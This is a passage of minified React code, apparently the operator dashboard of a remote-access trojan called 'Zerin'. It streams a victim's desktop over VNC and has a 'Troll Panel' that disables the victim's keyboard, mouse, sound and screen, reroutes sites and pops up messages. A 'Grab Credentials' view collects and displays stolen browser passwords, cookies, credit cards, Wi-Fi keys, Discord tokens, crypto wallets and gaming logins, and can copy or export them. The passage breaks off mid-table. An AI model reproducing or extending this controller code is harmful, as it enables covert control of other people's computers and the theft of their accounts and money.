J.push(G),{col:ke.col,row:ke.row,data:G}}),be=oe.map(ke=>({col:ke.col,row:ke.row,r:ke.data[0],g:ke.data[1],b:ke.data[2]}));f.current.postMessage({type:"tiles",tiles:pe,solids:be,width:ie,height:ve,cursorX:Z.cursorX,cursorY:Z.cursorY,tileSize:fe},J)}else{w.current={width:ie,height:ve,cursorX:Z.cursorX,cursorY:Z.cursorY};for(const J of oe)y.current.push({col:J.col,row:J.row,r:J.data[0],g:J.data[1],b:J.data[2],tileSize:fe});if(E.length>0){if(j.current){v.current||(v.current=[]);for(const pe of E){const be=v.current.findIndex(ke=>ke.col===pe.col&&ke.row===pe.row);be>=0?v.current[be]={...pe,tileSize:fe}:v.current.push({...pe,tileSize:fe})}return}j.current=!0;let J=E.map(pe=>({...pe,tileSize:fe}));if(v.current&&v.current.length>0){for(const pe of v.current)J.findIndex(ke=>ke.col===pe.col&&ke.row===pe.row)<0&&J.push(pe);v.current=[]}Promise.all(J.map(pe=>{const be=new Blob([pe.data],{type:"image/jpeg"});return createImageBitmap(be).then(ke=>({bitmap:ke,col:pe.col,row:pe.row,tileSize:pe.tileSize}))})).then(pe=>{j.current=!1;for(const be of pe)g.current.push(be)}).catch(()=>{j.current=!1})}}}else{V.dirtyTiles=0,V.totalTiles=0,a.current&&URL.revokeObjectURL(a.current);const Z=new Uint8Array(ne.data,13),fe=new Blob([Z],{type:"image/jpeg"}),E=URL.createObjectURL(fe);a.current=E,m.current(E,ie,ve)}},K.onclose=()=>{l(!1),i.current=null,$(),X(),ue(),r==null||r()},K.onerror=()=>{K.close()}},[e,t,r,W,$,H,X,se,ue]),xe=p.useCallback(()=>{i.current&&(i.current.close(),i.current=null),a.current&&(URL.revokeObjectURL(a.current),a.current=null),$(),X(),ue(),l(!1)},[$,X,ue]);return p.useEffect(()=>()=>{i.current&&(i.current.close(),i.current=null),a.current&&URL.revokeObjectURL(a.current),$(),X(),ue()},[$,X,ue]),{isConnected:o,stats:c,controls:R,connect:ge,disconnect:xe}}function RU({agentId:e}){const t=p.useRef(null),n=p.useRef(null),[r,i]=p.useState(!1),a=p.useRef(!1),[o,l]=p.useState({w:0,h:0}),[c,u]=p.useState(!0),[d,f]=p.useState(null),[m,h]=p.useState(!1),[x,g]=p.useState("Zerin"),[y,v]=p.useState(""),[b,w]=p.useState(!1),[j,k]=p.useState(""),[S,N]=p.useState(!1),[z,_]=p.useState("https://"),[A,O]=p.useState(!1),[P,I]=p.useState(""),[U,D]=p.useState(!1),[M,F]=p.useState(!1),[R,W]=p.useState(!1),[$,H]=p.useState(!1),[X,se]=p.useState(!1),[ue,ge]=p.useState(!1),xe=(te,me="ok")=>{f({text:te,type:me}),setTimeout(()=>f(null),2500)},Y=p.useCallback((te,me,V)=>{a.current||(a.current=!0,i(!0)),l({w:me,h:V});const Z=t.current;if(!Z)return;const fe=Z.getContext("2d");if(fe)if((Z.width!==me||Z.height!==V)&&(Z.width=me,Z.height=V),typeof te=="string"){const E=n.current||new Image;n.current=E,E.onload=()=>fe.drawImage(E,0,0),E.src=te}else te instanceof ImageBitmap?(fe.drawImage(te,0,0),te.close()):fe.drawImage(te,0,0)},[]),{isConnected:ee,stats:C,connect:K}=pv({agentId:e,onFrame:Y}),[ne,B]=p.useState(!1);p.useEffect(()=>{!e||!ne||gx(e).then(()=>K()).catch(()=>{K()})},[e,K,ne]);const ie=async(te,me)=>{try{await Ee(e,{command:te,args:me}),xe(`Sent: ${te}`)}catch{xe(`Failed: ${te}`,"err")}},ve=()=>{const te=!c;u(te),ie("troll_taskbar",[te?"show":"hide"])},we=(te,me,V)=>{const Z=!te;me(Z),ie(V,[Z?"on":"off"])},_e=()=>{y.trim()&&(ie("troll_msgbox",[y,x||"Zerin"]),h(!1),v(""),g("Zerin"))},L=()=>{j.trim()&&(ie("troll_tts",[j]),w(!1),k(""))},de=()=>{if(!(!z.trim()||z==="https://")){if(!/^https?:\/\//i.test(z)){xe("URL must start with http:// or https://","err");return}ie("troll_website",[z]),N(!1),_("https://")}},q=()=>{P.trim()&&(ie("troll_wallpaper",[P]),O(!1),I(""))};return s.jsxs("div",{className:"flex flex-col h-full overflow-hidden",children:[s.jsxs("div",{className:"flex items-center gap-3 px-5 py-2.5 shrink-0 border-b border-[#1a1a20]",style:{background:"linear-gradient(180deg, #111115 0%, #0d0d11 100%)"},children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:"w-5 h-5 flex items-center justify-center",style:{background:"rgba(239, 68, 68, 0.1)",border:"1px solid rgba(239, 68, 68, 0.2)"},children:s.jsxs("svg",{className:"w-3 h-3",viewBox:"0 0 24 24",fill:"none",stroke:"#ef4444",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.362 5.214A8.252 8.252 0 0112 21 8.25 8.25 0 016.038 7.048 8.287 8.287 0 009 9.6a8.983 8.983 0 013.361-6.867 8.21 8.21 0 003 2.48z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18a3.75 3.75 0 00.495-7.467 5.99 5.99 0 00-1.925 3.546 5.974 5.974 0 01-2.133-1A3.75 3.75 0 0012 18z"})]})}),s.jsx("span",{className:"font-display text-sm font-semibold tracking-wide text-[#ef4444]/80",children:"TROLL PANEL"})]}),s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:ee&&r?"#22C55E":ee?"#eab308":"#ef4444",boxShadow:ee?"0 0 6px rgba(34,197,94,0.4)":"none"}}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:ee&&r?"LIVE":ee?"BUFFERING":"CONNECTING"})]}),ee&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[s.jsx("span",{className:"text-zerin-accent",children:C.fps})," FPS"]}),o.w>0&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[o.w,"×",o.h]})]})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40",children:"VIEW ONLY"})]}),s.jsxs("div",{className:"flex flex-1 min-h-0 overflow-hidden",children:[s.jsxs("div",{className:"w-[200px] shrink-0 flex flex-col border-r border-[#1a1a20] overflow-y-auto",style:{background:"#0b0b0f"},children:[s.jsx("div",{className:"px-3 pt-3 pb-2",children:s.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase",children:"Actions"})}),s.jsxs("div",{className:"flex flex-col gap-1 px-2 pb-3",children:[s.jsx($s,{icon:s.jsx($U,{}),label:"Message Box",desc:"Pop up a dialog",color:"#f59e0b",onClick:()=>h(!0)}),s.jsx($s,{icon:s.jsx(BU,{}),label:"Text to Speech",desc:"Read text aloud",color:"#8b5cf6",onClick:()=>w(!0)}),s.jsx($s,{icon:s.jsx(FU,{}),label:"Open Website",desc:"Launch a URL",color:"#06b6d4",onClick:()=>N(!0)}),s.jsx($s,{icon:s.jsx(WU,{}),label:"Wallpaper",desc:"Change background",color:"#10b981",onClick:()=>O(!0)}),s.jsx($s,{icon:s.jsx(UU,{}),label:"CD Tray",desc:"Eject disc drive",color:"#ec4899",onClick:()=>ie("troll_cd_tray")})]}),s.jsxs("div",{className:"border-t border-[#1a1a20] px-3 py-3",children:[s.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase block mb-2.5",children:"Toggles"}),s.jsxs("div",{className:"flex flex-col gap-2",children:[s.jsx(Pi,{label:"Taskbar",active:c,color:"#06b6d4",onToggle:ve}),s.jsx(Pi,{label:"Swap Mouse",active:U,color:"#f59e0b",onToggle:()=>we(U,D,"troll_swapmouse"),invert:!0}),s.jsx(Pi,{label:"Sound",active:!M,color:"#8b5cf6",onToggle:()=>we(M,F,"troll_disablesound")}),s.jsx(Pi,{label:"Screen",active:!R,color:"#ef4444",onToggle:()=>we(R,W,"troll_blackscreen")}),s.jsx(Pi,{label:"Keyboard",active:!$,color:"#10b981",onToggle:()=>we($,H,"troll_disablekeyboard")}),s.jsx(Pi,{label:"Mouse",active:!X,color:"#ec4899",onToggle:()=>we(X,se,"troll_disablemouse")}),s.jsx(Pi,{label:"Internet",active:!ue,color:"#06b6d4",onToggle:()=>we(ue,ge,"troll_reroutesites")})]})]})]}),s.jsxs("div",{className:"flex-1 flex items-center justify-center relative overflow-hidden",style:{background:"#08080a"},children:[s.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03] z-10",style:{backgroundImage:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.03) 4px)"}}),ee&&r?s.jsx("canvas",{ref:t,className:"max-w-full max-h-full",style:{cursor:"default",aspectRatio:o.w>0?`${o.w}/${o.h}`:void 0,filter:"brightness(0.95)"}}):ne?s.jsxs("div",{className:"flex flex-col items-center gap-5",children:[s.jsxs("div",{className:"relative",children:[s.jsx("div",{className:"w-16 h-16 rounded-full border-2 animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.1)",borderTopColor:"rgba(6, 182, 212, 0.6)"}}),s.jsx("div",{className:"absolute inset-0 flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-accent/40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})})]}),s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:ee?"Waiting for frame...":"Connecting to desktop..."}),s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted",children:"View-only stream for live trolling"})]})]}):s.jsxs("div",{className:"flex flex-col items-center gap-5",children:[s.jsx("div",{className:"w-16 h-16 flex items-center justify-center",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:s.jsx("svg",{className:"w-7 h-7 text-zerin-accent/60",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:"Connect to live desktop view?"}),s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mb-4",children:"This will start a VNC session to stream the agent's screen"}),s.jsx("button",{onClick:()=>B(!0),className:"px-4 py-2 text-xs font-semibold text-white transition-all",style:{background:"#06b6d4",boxShadow:"0 0 12px rgba(6,182,212,0.3)"},children:"Connect VNC"})]})]}),d&&s.jsx("div",{className:"absolute bottom-4 left-1/2 -translate-x-1/2 z-20 px-4 py-2 font-mono text-xs animate-fade-in",style:{background:"#111115",border:`1px solid ${d.type==="err"?"rgba(239,68,68,0.3)":"rgba(6,182,212,0.25)"}`,color:d.type==="err"?"#ef4444":"#06b6d4"},children:d.text})]})]}),m&&s.jsxs(Gl,{title:"Message Box",color:"#f59e0b",onClose:()=>h(!1),children:[s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TITLE"}),s.jsx("input",{type:"text",value:x,onChange:te=>g(te.target.value),placeholder:"Window title...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#f59e0b]/30 transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"MESSAGE"}),s.jsx("textarea",{value:y,onChange:te=>v(te.target.value),placeholder:"Enter message...",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#f59e0b]/30 transition-colors`,autoFocus:!0})]})]}),s.jsx(Xl,{onCancel:()=>h(!1),onSend:_e,color:"#f59e0b",disabled:!y.trim()})]}),b&&s.jsxs(Gl,{title:"Text to Speech",color:"#8b5cf6",onClose:()=>w(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TEXT"}),s.jsx("textarea",{value:j,onChange:te=>k(te.target.value),placeholder:"What should they hear?",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#8b5cf6]/30 transition-colors`,autoFocus:!0})]}),s.jsx(Xl,{onCancel:()=>w(!1),onSend:L,color:"#8b5cf6",disabled:!j.trim()})]}),S&&s.jsxs(Gl,{title:"Open Website",color:"#06b6d4",onClose:()=>N(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"URL"}),s.jsx("input",{type:"text",value:z,onChange:te=>_(te.target.value),placeholder:"https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-zerin-accent/30 transition-colors`,autoFocus:!0})]}),s.jsx(Xl,{onCancel:()=>N(!1),onSend:de,color:"#06b6d4",disabled:!z.trim()||z==="https://"})]}),A&&s.jsxs(Gl,{title:"Change Wallpaper",color:"#10b981",onClose:()=>O(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"IMAGE PATH OR URL"}),s.jsx("input",{type:"text",value:P,onChange:te=>I(te.target.value),placeholder:"C:\\path\\to\\image.jpg or https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#10b981]/30 transition-colors`,autoFocus:!0})]}),s.jsx(Xl,{onCancel:()=>O(!1),onSend:q,color:"#10b981",disabled:!P.trim()})]})]})}function $s({icon:e,label:t,desc:n,color:r,onClick:i}){return s.jsxs("button",{onClick:i,className:"group flex items-center gap-3 px-3 py-2.5 text-left transition-all duration-150 hover:translate-x-0.5",style:{background:"transparent"},onMouseEnter:a=>{a.currentTarget.style.background=`${r}08`,a.currentTarget.style.borderLeft=`2px solid ${r}40`,a.currentTarget.style.paddingLeft="10px"},onMouseLeave:a=>{a.currentTarget.style.background="transparent",a.currentTarget.style.borderLeft="none",a.currentTarget.style.paddingLeft="12px"},children:[s.jsx("div",{className:"w-8 h-8 flex items-center justify-center shrink-0 transition-colors",style:{background:`${r}10`,border:`1px solid ${r}20`},children:s.jsx("div",{style:{color:`${r}cc`},children:e})}),s.jsxs("div",{className:"min-w-0",children:[s.jsx("div",{className:"text-[12px] font-medium text-zerin-text-dim group-hover:text-zerin-text transition-colors leading-tight",children:t}),s.jsx("div",{className:"text-[10px] text-zerin-text-muted/50 leading-tight mt-0.5",children:n})]})]})}function Gl({title:e,color:t,onClose:n,children:r}){return s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/70",onClick:n,children:s.jsxs("div",{className:"w-full max-w-sm mx-4 animate-scale-in",style:{background:"#111115",border:`1px solid ${t}25`,boxShadow:`0 0 40px ${t}08`},onClick:i=>i.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b",style:{borderColor:`${t}15`},children:[s.jsx("div",{className:"w-2 h-2 rounded-full",style:{background:t,boxShadow:`0 0 8px ${t}60`}}),s.jsx("span",{className:"font-display text-sm font-semibold",style:{color:t},children:e})]}),s.jsx("div",{className:"p-4 space-y-4",children:r})]})})}function Xl({onCancel:e,onSend:t,color:n,disabled:r}){return s.jsxs("div",{className:"flex items-center justify-end gap-2 pt-1",children:[s.jsx("button",{onClick:e,className:`px-3 py-1.5 text-xs font-medium text-zerin-text-muted\r + hover:text-zerin-text-dim bg-[#18181c] hover:bg-[#1f1f25] transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:t,disabled:r,className:`px-4 py-1.5 text-xs font-semibold text-white transition-all\r + disabled:opacity-30 disabled:cursor-not-allowed`,style:{background:r?"#333":n,boxShadow:r?"none":`0 0 12px ${n}40`},children:"Send"})]})}function Pi({label:e,active:t,color:n,onToggle:r,invert:i}){const a=t;return s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("span",{className:"text-[11px] text-zerin-text-dim font-medium",children:e}),s.jsx("button",{onClick:r,className:"relative w-9 h-[20px] rounded-full transition-colors duration-200 focus:outline-none",style:{background:a?`${n}30`:"rgba(239, 68, 68, 0.2)",border:`1px solid ${a?`${n}40`:"rgba(239, 68, 68, 0.3)"}`},children:s.jsx("div",{className:"absolute top-[2px] w-3.5 h-3.5 rounded-full transition-all duration-200",style:{left:a?"18px":"2px",background:a?n:"#ef4444",boxShadow:`0 0 6px ${a?`${n}50`:"rgba(239,68,68,0.4)"}`}})})]})}function $U(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 10h.01M12 10h.01M16 10h.01M9 16H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-5l-5 5v-5z"})})}function BU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})})}function FU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9.004 9.004 0 008.716-6.747M12 21a9.004 9.004 0 01-8.716-6.747M12 21c2.485 0 4.5-4.03 4.5-9S14.485 3 12 3m0 18c-2.485 0-4.5-4.03-4.5-9S9.515 3 12 3m0 0a8.997 8.997 0 017.843 4.582M12 3a8.997 8.997 0 00-7.843 4.582m15.686 0A11.953 11.953 0 0112 10.5c-2.998 0-5.74-1.1-7.843-2.918m15.686 0A8.959 8.959 0 0121 12c0 .778-.099 1.533-.284 2.253m0 0A17.919 17.919 0 0112 16.5c-3.162 0-6.133-.815-8.716-2.247m0 0A9.015 9.015 0 013 12c0-1.605.42-3.113 1.157-4.418"})})}function WU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909m-18 3.75h16.5a1.5 1.5 0 001.5-1.5V6a1.5 1.5 0 00-1.5-1.5H3.75A1.5 1.5 0 002.25 6v12a1.5 1.5 0 001.5 1.5zm10.5-11.25h.008v.008h-.008V8.25zm.375 0a.375.375 0 11-.75 0 .375.375 0 01.75 0z"})})}function UU(){return s.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:[s.jsx("circle",{cx:"12",cy:"12",r:"9"}),s.jsx("circle",{cx:"12",cy:"12",r:"3"})]})}function VU({agentId:e,agentStatus:t,autoGrab:n,onAutoGrabConsumed:r}){var S,N,z,_,A,O,P,I,U,D,M,F,R,W,$,H,X,se,ue,ge,xe,Y,ee,C,K,ne,B,ie,ve,we,_e,L,de,q,te,me,V,Z,fe,E,oe,J,pe,be,ke;const[i,a]=p.useState(null),[o,l]=p.useState(!1),[c,u]=p.useState(""),[d,f]=p.useState(new Set),m=t==="dead",h=p.useRef(null);p.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=p.useRef(!1);p.useEffect(()=>{n&&!x.current&&!m&&(x.current=!0,y(),r==null||r())},[n]);const g=G=>{f(re=>{const ae=new Set(re);return ae.has(G)?ae.delete(G):ae.add(G),ae})},y=p.useCallback(async()=>{if(!m){l(!0),u(""),a(null),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:G}=await Ee(e,{command:"creds"});let re=0;h.current=setInterval(async()=>{var ae,Oe,lt,We,pn,Zt,pl,qn,Yn,mv,hv,xv;re++;try{const bs=(ae=(await Un(e)).results)==null?void 0:ae.find(Bt=>Bt.task_id===G);if(bs){if(h.current&&clearInterval(h.current),h.current=null,l(!1),bs.error){u(bs.error);return}if(bs.output)try{const Bt=JSON.parse(bs.output);a(Bt);const fr=new Set;(Oe=Bt.chrome_passwords)!=null&&Oe.length&&fr.add("chrome_passwords"),(lt=Bt.firefox_passwords)!=null&<.length&&fr.add("firefox_passwords"),(We=Bt.wifi)!=null&&We.length&&fr.add("wifi"),(pn=Bt.windows_credentials)!=null&&pn.length&&fr.add("windows_credentials"),(Zt=Bt.discord_tokens)!=null&&Zt.length&&fr.add("discord_tokens"),(pl=Bt.wallets)!=null&&pl.length&&fr.add("wallets"),(qn=Bt.vpn)!=null&&qn.length&&fr.add("vpn"),((Yn=Bt.steam)!=null&&Yn.found||(mv=Bt.epic)!=null&&mv.found||(hv=Bt.minecraft)!=null&&hv.length||(xv=Bt.roblox)!=null&&xv.found)&&fr.add("gaming"),f(fr)}catch{u("Failed to parse credential data")}}else re>=60&&(h.current&&clearInterval(h.current),h.current=null,l(!1),u("Timed out waiting for results"))}catch{}},3e3)}catch(G){l(!1),u(G instanceof Error?G.message:"Failed to submit task")}}},[e,m]),[v,b]=p.useState(null),w=(G,re)=>{navigator.clipboard.writeText(G).then(()=>{const ae=re?re.clientX:window.innerWidth/2,Oe=re?re.clientY-30:window.innerHeight/2;b({text:"Copied!",x:ae,y:Oe}),setTimeout(()=>b(null),1200)}).catch(()=>{})},j=(G,re)=>{try{const ae=atob(G),Oe=new Uint8Array(ae.length);for(let Zt=0;Zt{if(!i)return;const G=new Blob([JSON.stringify(i,null,2)],{type:"application/json"}),re=URL.createObjectURL(G),ae=document.createElement("a");ae.href=re,ae.download=`credentials_${e.slice(0,8)}.json`,ae.click(),URL.revokeObjectURL(re)};return s.jsxs("div",{className:"p-6 animate-fade-in space-y-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:y,disabled:o||m,className:`inline-flex items-center gap-2 text-sm font-medium\r + bg-zerin-accent hover:bg-zerin-accent-hover text-white\r + px-4 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:o?s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}),"Grabbing..."]}):s.jsxs(s.Fragment,{children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),"Grab Credentials"]})}),i&&s.jsxs("button",{onClick:k,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export JSON"]}),m&&s.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),c&&s.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-4 py-3 text-sm text-zerin-danger",children:c}),i&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(On,{title:"Browser Passwords",count:(((S=i.chrome_passwords)==null?void 0:S.length)??0)+(((N=i.firefox_passwords)==null?void 0:N.length)??0),expanded:d.has("chrome_passwords")||d.has("firefox_passwords"),onToggle:()=>{g("chrome_passwords"),g("firefox_passwords")},children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].length===0?s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.browser??"Firefox"}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:G.url}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.username,ae),children:G.username}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""})]},re))})]})}),s.jsx(On,{title:"Browser Cookies",count:((z=i.chrome_cookies)==null?void 0:z.length)??0,expanded:d.has("chrome_cookies"),onToggle:()=>g("chrome_cookies"),children:(_=i.chrome_cookies)!=null&&_.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cookies.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.browser}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:G.host}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:G.name}),s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.value,ae),children:[G.value.slice(0,40),"..."]})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),s.jsx(On,{title:"Credit Cards",count:((A=i.chrome_cards)==null?void 0:A.length)??0,expanded:d.has("chrome_cards"),onToggle:()=>g("chrome_cards"),children:(O=i.chrome_cards)!=null&&O.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cards.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.browser}),s.jsx("td",{className:"px-4 py-1.5 